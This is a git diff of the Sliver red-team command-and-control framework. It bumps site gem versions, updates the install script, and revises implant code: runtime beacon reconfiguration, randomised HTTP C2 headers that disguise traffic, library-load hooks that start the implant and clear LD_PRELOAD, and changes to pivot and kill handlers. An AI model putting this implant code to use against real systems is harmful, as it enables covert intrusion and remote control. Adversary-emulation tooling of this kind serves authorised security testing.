jekyll-theme-slate (= 0.1.1)
jekyll-theme-tactile (= 0.1.1)
jekyll-theme-time-machine (= 0.1.1)
jekyll-theme-architect (= 0.2.0)
jekyll-theme-cayman (= 0.2.0)
jekyll-theme-dinky (= 0.2.0)
jekyll-theme-hacker (= 0.2.0)
jekyll-theme-leap-day (= 0.2.0)
jekyll-theme-merlot (= 0.2.0)
jekyll-theme-midnight (= 0.2.0)
jekyll-theme-minimal (= 0.2.0)
jekyll-theme-modernist (= 0.2.0)
jekyll-theme-primer (= 0.6.0)
jekyll-theme-slate (= 0.2.0)
jekyll-theme-tactile (= 0.2.0)
jekyll-theme-time-machine (= 0.2.0)
jekyll-titles-from-headings (= 0.5.3)
jemoji (= 0.12.0)
kramdown (= 2.3.1)
@@ -87,19 +93,19 @@ GEM
liquid (= 4.0.3)
mercenary (~> 0.3)
minima (= 2.5.1)
nokogiri (>= 1.10.4, < 2.0)
nokogiri (>= 1.12.5, < 2.0)
rouge (= 3.26.0)
terminal-table (~> 1.4)
github-pages-health-check (1.17.2)
github-pages-health-check (1.17.9)
addressable (~> 2.3)
dnsruby (~> 1.60)
octokit (~> 4.0)
public_suffix (>= 2.0.2, < 5.0)
public_suffix (>= 3.0, < 5.0)
typhoeus (~> 1.3)
html-pipeline (2.14.0)
activesupport (>= 2)
nokogiri (>= 1.4)
http_parser.rb (0.6.0)
http_parser.rb (0.8.0)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jekyll (3.9.0)
@@ -120,12 +126,12 @@ GEM
jekyll-coffeescript (1.1.1)
coffee-script (~> 2.2)
coffee-script-source (~> 1.11.1)
jekyll-commonmark (1.3.1)
commonmarker (~> 0.14)
jekyll (>= 3.7, < 5.0)
jekyll-commonmark-ghpages (0.1.6)
commonmarker (~> 0.17.6)
jekyll-commonmark (~> 1.2)
jekyll-commonmark (1.4.0)
commonmarker (~> 0.22)
jekyll-commonmark-ghpages (0.2.0)
commonmarker (~> 0.23.4)
jekyll (~> 3.9.0)
jekyll-commonmark (~> 1.4.0)
rouge (>= 2.0, < 4.0)
jekyll-default-layout (0.1.4)
jekyll (~> 3.0)
@@ -136,6 +142,8 @@ GEM
jekyll-github-metadata (2.13.0)
jekyll (>= 3.4, < 5.0)
octokit (~> 4.0, != 4.4.0)
jekyll-include-cache (0.2.1)
jekyll (>= 3.7, < 5.0)
jekyll-mentions (1.6.0)
html-pipeline (~> 2.3)
jekyll (>= 3.7, < 5.0)
@@ -155,50 +163,50 @@ GEM
rubyzip (>= 1.3.0, < 3.0)
jekyll-sass-converter (1.5.2)
sass (~> 3.4)
jekyll-seo-tag (2.7.1)
jekyll-seo-tag (2.8.0)
jekyll (>= 3.8, < 5.0)
jekyll-sitemap (1.4.0)
jekyll (>= 3.7, < 5.0)
jekyll-swiss (1.0.0)
jekyll-theme-architect (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-cayman (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-dinky (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-hacker (0.1.2)
jekyll-theme-architect (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-leap-day (0.1.1)
jekyll (~> 3.5)
jekyll-theme-cayman (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-merlot (0.1.1)
jekyll (~> 3.5)
jekyll-theme-dinky (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-midnight (0.1.1)
jekyll (~> 3.5)
jekyll-theme-hacker (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-minimal (0.1.1)
jekyll (~> 3.5)
jekyll-theme-leap-day (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-modernist (0.1.1)
jekyll (~> 3.5)
jekyll-theme-merlot (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-primer (0.5.4)
jekyll-theme-midnight (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-minimal (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-modernist (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-primer (0.6.0)
jekyll (> 3.5, < 5.0)
jekyll-github-metadata (~> 2.9)
jekyll-seo-tag (~> 2.0)
jekyll-theme-slate (0.1.1)
jekyll (~> 3.5)
jekyll-theme-slate (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-tactile (0.1.1)
jekyll (~> 3.5)
jekyll-theme-tactile (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-time-machine (0.1.1)
jekyll (~> 3.5)
jekyll-theme-time-machine (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-titles-from-headings (0.5.3)
jekyll (>= 3.3, < 5.0)
@@ -213,35 +221,33 @@ GEM
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
liquid (4.0.3)
listen (3.5.1)
listen (3.7.1)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.3.6)
mini_portile2 (2.6.1)
mini_portile2 (2.8.0)
minima (2.5.1)
jekyll (>= 3.5, < 5.0)
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.14.4)
minitest (5.15.0)
multipart-post (2.1.1)
nokogiri (1.12.5)
mini_portile2 (~> 2.6.1)
nokogiri (1.13.3)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
octokit (4.21.0)
octokit (4.22.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
pathutil (0.16.2)
forwardable-extended (~> 2.6)
public_suffix (4.0.6)
racc (1.5.2)
rb-fsevent (0.11.0)
racc (1.6.0)
rb-fsevent (0.11.1)
rb-inotify (0.10.1)
ffi (~> 1.0)
rexml (3.2.5)
rouge (3.26.0)
ruby-enum (0.9.0)
i18n
ruby2_keywords (0.0.4)
ruby2_keywords (0.0.5)
rubyzip (2.3.2)
safe_yaml (1.0.5)
sass (3.7.4)
@@ -261,14 +267,14 @@ GEM
ethon (>= 0.9.0)
tzinfo (1.2.9)
thread_safe (~> 0.1)
tzinfo-data (1.2021.1)
tzinfo-data (1.2021.5)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.7.7)
unicode-display_width (1.7.0)
unf_ext (0.0.8)
unicode-display_width (1.8.0)
wdm (0.1.1)
zeitwerk (2.4.2)
zeitwerk (2.5.4)
PLATFORMS
ruby
+11 -32
View File
@@ -10,13 +10,13 @@ fi
if [ -n "$(command -v yum)" ]
then
yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
fi
if [ -n "$(command -v apt-get)" ]
then
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
zip unzip gpg curl build-essential \
gpg curl build-essential \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
fi
@@ -32,12 +32,6 @@ then
echo "awk could not be found"
exit 1
fi
# Zip
if ! command -v zip &> /dev/null
then
echo "zip could not be found"
exit 1
fi
# GPG
if ! command -v gpg &> /dev/null
then
@@ -106,49 +100,34 @@ EOF
# Download and Unpack Sliver Server
#
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
SLIVER_SERVER_ZIP='sliver-server_linux.zip'
SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
SLIVER_SERVER='sliver-server'
SLIVER_CLIENT='sliver-client'
SLIVER_SERVER='sliver-server_linux'
SLIVER_CLIENT='sliver-client_linux'
for URL in $ARTIFACTS
do
if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
done
echo "Verifying signatures ..."
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
if test -f "/root/$SLIVER_SERVER_ZIP"; then
unzip -o /root/$SLIVER_SERVER_ZIP -d /root
rm -f /root/$SLIVER_SERVER_ZIP
else
exit 2
fi
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
if test -f "/root/$SLIVER_SERVER"; then
chmod 755 /root/$SLIVER_SERVER
/root/$SLIVER_SERVER unpack --force
mv /root/$SLIVER_SERVER /root/sliver-server
chmod 755 /root/sliver-server
/root/sliver-server unpack --force
else
exit 3
fi
if test -f "/root/$SLIVER_CLIENT_ZIP"; then
unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
rm -f /root/$SLIVER_CLIENT_ZIP
else
exit 2
fi
if test -f "/root/$SLIVER_CLIENT"; then
chmod 755 /root/$SLIVER_CLIENT
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
+1 -1
View File
@@ -20,7 +20,7 @@ set -e
# Creates the static go asset archives
GO_VER="1.17.6"
GO_VER="1.17.8"
GARBLE_VER="1.17.5"
GO_ARCH_1="amd64"
+2 -2
View File
@@ -137,7 +137,7 @@ func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
return msg, nil
}
// ECCEncryptToPeer - Encrypt using the server's public key
// ECCEncryptToPeer - Encrypt using the peer's public key
func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
if !valid {
@@ -153,7 +153,7 @@ func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, p
return ciphertext, nil
}
// ECCEncryptToPeer - Encrypt using the server's public key
// ECCDecryptFromPeer - Decrypt a message from a peer
func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
if !valid {
+20 -18
View File
@@ -153,7 +153,7 @@ func rmHandler(data []byte, resp RPCResponse) {
_, err = os.Stat(target)
if err == nil {
if (target == "/" || target == "C:\\") && !rmReq.Force {
err = errors.New("Cowardly refusing to remove volume root without force")
err = errors.New("cowardly refusing to remove volume root without force")
}
}
@@ -529,31 +529,30 @@ func unsetEnvHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func reconnectIntervalHandler(data []byte, resp RPCResponse) {
reconnectIntervalReq := &sliverpb.ReconnectIntervalReq{}
err := proto.Unmarshal(data, reconnectIntervalReq)
func reconfigureHandler(data []byte, resp RPCResponse) {
reconfigReq := &sliverpb.ReconfigureReq{}
err := proto.Unmarshal(data, reconfigReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v\n", err)
// {{end}}
return
}
reconnectInterval := reconnectIntervalReq.GetReconnectInterval()
// {{if .Config.Debug}}
log.Printf("Update reconnect interval called: %d\n", reconnectInterval)
// {{end}}
// Set the reconnect interval value
transports.SetReconnectInterval(reconnectInterval)
recIntervalResp := &sliverpb.ReconnectInterval{}
recIntervalResp.Response = &commonpb.Response{}
if err != nil {
recIntervalResp.Response.Err = err.Error()
if reconfigReq.ReconnectInterval != 0 {
transports.SetReconnectInterval(reconfigReq.ReconnectInterval)
}
data, err = proto.Marshal(recIntervalResp)
// {{if .Config.IsBeacon}}
if reconfigReq.BeaconInterval != 0 {
transports.SetInterval(reconfigReq.BeaconInterval)
}
if reconfigReq.BeaconJitter != 0 {
transports.SetJitter(reconfigReq.BeaconJitter)
}
// {{end}}
reconfigResp := &sliverpb.Reconfigure{}
data, err = proto.Marshal(reconfigResp)
resp(data, err)
}
@@ -561,6 +560,9 @@ func reconnectIntervalHandler(data []byte, resp RPCResponse) {
func gzipWrite(w io.Writer, data []byte) error {
gw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
if err != nil {
return err
}
defer gw.Close()
gw.Write(data)
return err
+2 -2
View File
@@ -48,8 +48,8 @@ var (
pb.MsgSideloadReq: sideloadHandler,
pb.MsgReconnectIntervalReq: reconnectIntervalHandler,
pb.MsgSSHCommandReq: runSSHCommandHandler,
pb.MsgReconfigureReq: reconfigureHandler,
pb.MsgSSHCommandReq: runSSHCommandHandler,
// Extensions
pb.MsgRegisterExtensionReq: registerExtensionHandler,
+13 -13
View File
@@ -32,19 +32,19 @@ import (
var (
genericHandlers = map[uint32]RPCHandler{
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
}
)
+2 -2
View File
@@ -46,8 +46,8 @@ var (
sliverpb.MsgNetstatReq: netstatHandler,
sliverpb.MsgSideloadReq: sideloadHandler,
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
// {{if .Config.WGc2Enabled}}
// Wireguard specific
+11 -11
View File
@@ -82,17 +82,17 @@ var (
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
// Generic
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
// Extensions
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
+4 -4
View File
@@ -174,7 +174,7 @@ func ifconfig() *sliverpb.Ifconfig {
}
func screenshotHandler(data []byte, resp RPCResponse) {
sc := &sliverpb.Screenshot{}
sc := &sliverpb.ScreenshotReq{}
err := proto.Unmarshal(data, sc)
if err != nil {
// {{if .Config.Debug}}
@@ -185,9 +185,9 @@ func screenshotHandler(data []byte, resp RPCResponse) {
// {{if .Config.Debug}}
log.Printf("Screenshot Request")
// {{end}}
sc.Data = screen.Screenshot()
data, err = proto.Marshal(sc)
scRes := &sliverpb.Screenshot{}
scRes.Data = screen.Screenshot()
data, err = proto.Marshal(scRes)
resp(data, err)
}
+5 -1
View File
@@ -22,6 +22,7 @@ package handlers
import (
"os"
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -54,6 +55,9 @@ func killHandler(data []byte, _ *transports.Connection) error {
// {{if .Config.Debug}}
log.Println("Let's exit!")
// {{end}}
os.Exit(0)
go func() {
time.Sleep(time.Second)
os.Exit(0)
}()
return nil
}
+2 -1
View File
@@ -19,6 +19,7 @@ package pivots
*/
import (
"strings"
"sync"
"time"
@@ -37,7 +38,7 @@ var (
// CreateNamedPipePivotListener - Starts a named pipe listener
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
fullName := "\\\\.\\pipe\\" + address
fullName := "\\\\.\\pipe\\" + strings.TrimPrefix(address, "\\\\.\\pipe\\")
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
//SecurityDescriptor: "",
RemoteClientMode: true,
+1 -1
View File
@@ -304,7 +304,7 @@ func (p *NetConnPivot) ToProtobuf() *pb.NetConnPivot {
}
}
// Start - Starts the TCP pivot connection handler
// Start - Starts the pivot connection handler
func (p *NetConnPivot) Start(pivots *sync.Map) {
defer func() {
p.conn.Close()
+12 -7
View File
@@ -1,6 +1,7 @@
#include "sliver.h"
#ifdef __WIN32
#include <windows.h>
DWORD WINAPI Start()
{
@@ -18,13 +19,13 @@ BOOL WINAPI DllMain(
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
{
// {{if .Config.IsSharedLib}}
HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
// CreateThread() because otherwise DllMain() is highly likely to deadlock.
// {{end}}
}
break;
{
// {{if .Config.RunAtLoad}}
// CreateThread() because otherwise DllMain() is highly likely to deadlock.
HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
// {{end}}
}
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
@@ -46,7 +47,9 @@ static void init(int argc, char **argv, char **envp)
{
unsetenv("LD_PRELOAD");
unsetenv("LD_PARAMS");
// {{if .Config.RunAtLoad}}
StartW();
// {{end}}
}
__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
#elif __APPLE__
@@ -57,7 +60,9 @@ __attribute__((constructor)) static void init(int argc, char **argv, char **envp
{
unsetenv("DYLD_INSERT_LIBRARIES");
unsetenv("LD_PARAMS");
// {{if .Config.RunAtLoad}}
StartW();
// {{end}}
}
#endif
+31 -26
View File
@@ -82,10 +82,10 @@ func init() {
buf := make([]byte, 8)
n, err := rand.Read(buf)
if err != nil || n != len(buf) {
binary.LittleEndian.PutUint64(buf, uint64(time.Now().Unix()))
insecureRand.Seed(time.Now().Unix())
} else {
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
}
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
id, err := uuid.NewV4()
if err != nil {
buf := make([]byte, 16) // NewV4 fails if secure rand fails
@@ -105,25 +105,11 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
for {
select {
default:
abort := make(chan struct{})
connections := transports.StartConnectionLoop(c2Servers, abort)
for connection := range connections {
if connection == nil {
break
}
err := sessionMainLoop(connection)
if err != nil {
connectionErrors++
if transports.GetMaxConnectionErrors() < connectionErrors {
return
}
}
reconnect := transports.GetReconnectInterval()
// {{if .Config.Debug}}
log.Printf("Reconnect sleep: %s", reconnect)
// {{end}}
time.Sleep(reconnect)
}
// {{if .Config.IsBeacon}}
beaconStartup()
// {{else}}
sessionStartup()
// {{end}}
case c := <-r:
switch c.Cmd {
case svc.Interrogate:
@@ -199,7 +185,16 @@ func main() {
// {{else}}
// {{if .Config.IsBeacon}}
beaconStartup()
// {{else}} ------- IsBeacon/IsSession -------
sessionStartup()
// {{end}}
// {{end}} ------- IsService -------
}
// {{if .Config.IsBeacon}}
func beaconStartup() {
// {{if .Config.Debug}}
log.Printf("Running in Beacon mode with ID: %s", InstanceID)
// {{end}}
@@ -227,9 +222,11 @@ func main() {
// {{end}}
time.Sleep(reconnect)
}
}
// {{else}} ------- IsBeacon/IsSession -------
// {{else}}
func sessionStartup() {
// {{if .Config.Debug}}
log.Printf("Running in session mode")
// {{end}}
@@ -254,11 +251,10 @@ func main() {
// {{end}}
time.Sleep(reconnect)
}
// {{end}}
// {{end}}
}
// {{end}}
// {{if .Config.IsBeacon}}
func beaconMainLoop(beacon *transports.Beacon) error {
// Register beacon
@@ -311,16 +307,23 @@ func beaconMainLoop(beacon *transports.Beacon) error {
// until all tasks complete (in success or failure), if a task handler blocks
// forever it will simply block this set of tasks instead of the entire beacon
errors := make(chan error)
shortCircuit := make(chan struct{})
for {
duration := beacon.Duration()
nextCheckin = time.Now().Add(duration)
go func() {
oldInterval := beacon.Interval()
err := beaconMain(beacon, nextCheckin)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] main error: %v", nextCheckin)
// {{end}}
errors <- err
} else if oldInterval != beacon.Interval() {
// The beacon's interval was modified so we need to short circuit
// the current sleep and tell the server when the next checkin will
// be based on the new interval.
shortCircuit <- struct{}{}
}
}()
@@ -331,6 +334,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
case <-errors:
return err
case <-time.After(duration):
case <-shortCircuit:
// Short circuit current duration with no error
}
}
return nil
+6 -12
View File
@@ -30,8 +30,6 @@ import (
"net/url"
"time"
"strconv"
// {{if .Config.MTLSc2Enabled}}
"crypto/tls"
@@ -52,6 +50,10 @@ import (
// {{end}}
// {{if or .Config.MTLSc2Enabled .Config.WGc2Enabled}}
"strconv"
// {{end}}
// {{if .Config.DNSc2Enabled}}
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
@@ -86,20 +88,12 @@ type Beacon struct {
// Interval - Interval between beacons
func (b *Beacon) Interval() int64 {
interval, err := strconv.ParseInt(`{{.Config.BeaconInterval}}`, 10, 64)
if err != nil {
interval = int64(30 * time.Second)
}
return int64(interval)
return GetInterval()
}
// Jitter - Jitter between beacons
func (b *Beacon) Jitter() int64 {
jitter, err := strconv.ParseInt(`{{.Config.BeaconJitter}}`, 10, 64)
if err != nil {
jitter = int64(30 * time.Second)
}
return int64(jitter)
return GetJitter()
}
// Duration - Interval + random value <= Jitter
@@ -62,11 +62,13 @@ var (
// HTTPOptions - c2 specific configuration options
type HTTPOptions struct {
NetTimeout time.Duration
TlsTimeout time.Duration
PollTimeout time.Duration
MaxErrors int
ForceHTTP bool
NetTimeout time.Duration
TlsTimeout time.Duration
PollTimeout time.Duration
MaxErrors int
ForceHTTP bool
DisableAcceptHeader bool
DisableUpgradeHeader bool
ProxyConfig string
ProxyUsername string
@@ -92,11 +94,13 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
maxErrors = 10
}
return &HTTPOptions{
NetTimeout: netTimeout,
TlsTimeout: tlsTimeout,
PollTimeout: pollTimeout,
MaxErrors: maxErrors,
ForceHTTP: c2URI.Query().Get("force-http") == "true",
NetTimeout: netTimeout,
TlsTimeout: tlsTimeout,
PollTimeout: pollTimeout,
MaxErrors: maxErrors,
ForceHTTP: c2URI.Query().Get("force-http") == "true",
DisableAcceptHeader: c2URI.Query().Get("disable-accept-header") == "true",
DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true",
ProxyConfig: c2URI.Query().Get("proxy"),
ProxyUsername: c2URI.Query().Get("proxy-username"),
@@ -110,7 +114,7 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
var err error
if !opts.ForceHTTP {
client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
client.pollTimeout = opts.PollTimeout
client.Options = opts
client.PathPrefix = pathPrefix
err = client.SessionInit()
if err == nil {
@@ -123,6 +127,8 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
address = fmt.Sprintf("%s:80", address[:len(address)-4])
}
client = httpClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig) // Fallback to insecure HTTP
client.Options = opts
client.PathPrefix = pathPrefix
err = client.SessionInit()
if err != nil {
return nil, err
@@ -133,16 +139,17 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
// SliverHTTPClient - Helper struct to keep everything together
type SliverHTTPClient struct {
Origin string
PathPrefix string
Client *http.Client
ProxyURL string
SessionCtx *cryptography.CipherContext
SessionID string
pollTimeout time.Duration
pollCancel context.CancelFunc
pollMutex *sync.Mutex
Closed bool
Origin string
PathPrefix string
Client *http.Client
ProxyURL string
SessionCtx *cryptography.CipherContext
SessionID string
pollCancel context.CancelFunc
pollMutex *sync.Mutex
Closed bool
Options *HTTPOptions
}
// SessionInit - Initialize the session
@@ -199,13 +206,54 @@ func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri.String(), body)
req.Header.Set("User-Agent", userAgent)
if method == http.MethodGet {
if method == http.MethodGet && !s.Options.DisableAcceptHeader {
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Accept", acceptHeaderValue)
}
if uri.Scheme == "http" {
if uri.Scheme == "http" && !s.Options.DisableUpgradeHeader {
req.Header.Set("Upgrade-Insecure-Requests", "1")
}
type nameValueProbability struct {
Name string
Value string
Probability string
}
// HTTP C2 Profile headers
extraHeaders := []nameValueProbability{
// {{range $header := .HTTPC2ImplantConfig.Headers}}
{Name: "{{$header.Name}}", Value: "{{$header.Value}}", Probability: "{{$header.Probability}}"},
// {{end}}
}
for _, header := range extraHeaders {
probability, _ := strconv.Atoi(header.Probability)
if 0 < probability {
roll := insecureRand.Intn(99) + 1
if probability < roll {
continue
}
}
req.Header.Set(header.Name, header.Value)
}
extraURLParams := []nameValueProbability{
// {{range $param := .HTTPC2ImplantConfig.URLParameters}}
{Name: "{{$param.Name}}", Value: "{{$param.Value}}", Probability: "{{$param.Probability}}"},
// {{end}}
}
queryParams := req.URL.Query()
for _, param := range extraURLParams {
probability, _ := strconv.Atoi(param.Probability)
if 0 < probability {
roll := insecureRand.Intn(99) + 1
if probability < roll {
continue
}
}
queryParams.Set(param.Name, param.Value)
}
req.URL.RawQuery = queryParams.Encode()
return req
}
@@ -235,7 +283,7 @@ func (s *SliverHTTPClient) DoPoll(req *http.Request) (*http.Response, []byte, er
select {
case <-ctx.Done():
done <- ctx.Err()
case <-time.After(s.pollTimeout):
case <-time.After(s.Options.PollTimeout):
// {{if .Config.Debug}}
log.Printf("[http] poll timeout error!")
// {{end}}
@@ -474,7 +522,7 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
for index, segment := range segments {
segments[index] = url.PathEscape(segment)
}
if s.PathPrefix != "" {
if s.PathPrefix != "" && s.PathPrefix != "/" {
segments = append([]string{s.PathPrefix}, segments...)
}
return strings.Join(segments, "/")
@@ -583,6 +631,7 @@ func httpClient(address string, netTimeout time.Duration, tlsTimeout time.Durati
func httpsClient(address string, netTimeout time.Duration, tlsTimeout time.Duration, proxyConfig string) *SliverHTTPClient {
transport := &http.Transport{
IdleConnTimeout: time.Millisecond,
Dial: (&net.Dialer{
Timeout: netTimeout,
}).Dial,
@@ -24,7 +24,7 @@ import (
"errors"
)
// NamedPipeConnect - Non windows implementation of the named pipe client
// NamedPipePivotStartSession - Non windows implementation of the named pipe client
func NamedPipePivotStartSession(_ string, _ *NamedPipePivotOptions) (*NetConnPivotClient, error) {
return nil, errors.New("unsupported platform")
}
+4 -2
View File
@@ -753,6 +753,9 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
case <-pingCtrl:
return
case <-time.After(time.Minute):
// {{if .Config.Debug}}
log.Printf("[tcp pivot] peer ping...")
// {{end}}
data, _ := proto.Marshal(&pb.PivotPing{
Nonce: uint32(time.Now().UnixNano()),
})
@@ -760,11 +763,10 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
Type: pb.MsgPivotPeerPing,
Data: data,
}
case <-time.After(time.Minute):
// {{if .Config.Debug}}
log.Printf("[tcp pivot] server ping...")
// {{end}}
data, _ := proto.Marshal(&pb.PivotPing{
data, _ = proto.Marshal(&pb.PivotPing{
Nonce: uint32(time.Now().UnixNano()),
})
connection.Send <- &pb.Envelope{
+43
View File
@@ -112,6 +112,11 @@ func randomCCDomain(ccServers []string, next string) string {
var (
// reconnectInterval - DO NOT ACCESS DIRECTLY
reconnectInterval = time.Duration(0)
// {{if .Config.IsBeacon}}
jitter = time.Duration(0)
interval = time.Duration(0)
// {{end}}
)
// GetReconnectInterval - Parse the reconnect interval inserted at compile-time
@@ -132,6 +137,44 @@ func SetReconnectInterval(interval int64) {
reconnectInterval = time.Duration(interval)
}
